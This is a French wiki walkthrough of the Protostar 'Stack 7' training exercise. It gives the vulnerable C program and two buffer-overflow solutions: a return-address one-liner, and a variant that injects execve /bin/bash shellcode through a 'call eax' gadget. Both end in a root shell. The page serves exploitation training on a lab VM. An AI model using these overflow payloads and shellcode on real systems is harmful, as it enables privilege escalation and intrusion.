Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:stack7

Table des matières

Stack 7

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
char *getpath()
{
	char buffer[64];
	unsigned int ret;
 
	printf("input path please: "); fflush(stdout);
 
	gets(buffer);
 
	ret = __builtin_return_address(0);
 
	if((ret & 0xb0000000) == 0xb0000000) {
		printf("bzzzt (%p)\n", ret);
		_exit(1);
	}
 
	printf("got path %s\n", buffer);
	return strdup(buffer);
}
 
int main(int argc, char **argv)
{
	getpath();
}

Solution 1

La solution du stack6 fonctionne aussi sur ce niveau ;)

user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x83\x83\x04\x08"+"\x6d\xfd\xff\xbf"'; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA?m???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Solution 2

On remarque que la fonction retourne ce que nous avons entré dans le gets. Les valeurs de retour sont passées dans le registre eax, donc le registre eax pointe vers notre buffer. Il suffit donc de mettre notre shellcode directement dans le buffer et de sauter sur un call eax ou un jmp eax.

user@protostar:/opt/protostar/bin$ objdump -S ./stack7 | grep call | grep eax
 8048478:	ff 14 85 5c 96 04 08 	call   *0x804965c(,%eax,4)
 80484bf:	ff d0                	call   *%eax
 80485eb:	ff d0                	call   *%eax
user@protostar:/opt/protostar/bin$ (python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"+"A"*47+"\xbf\x84\x04\x08"'; cat) | ./stack7
input path please: got path j
                             X?Rfh-p??Rjhh/bash/bin??RQS??̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA??
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
exploit_exercises_protostar/stack7.txt · Dernière modification: 2017/04/09 15:33 (modification externe)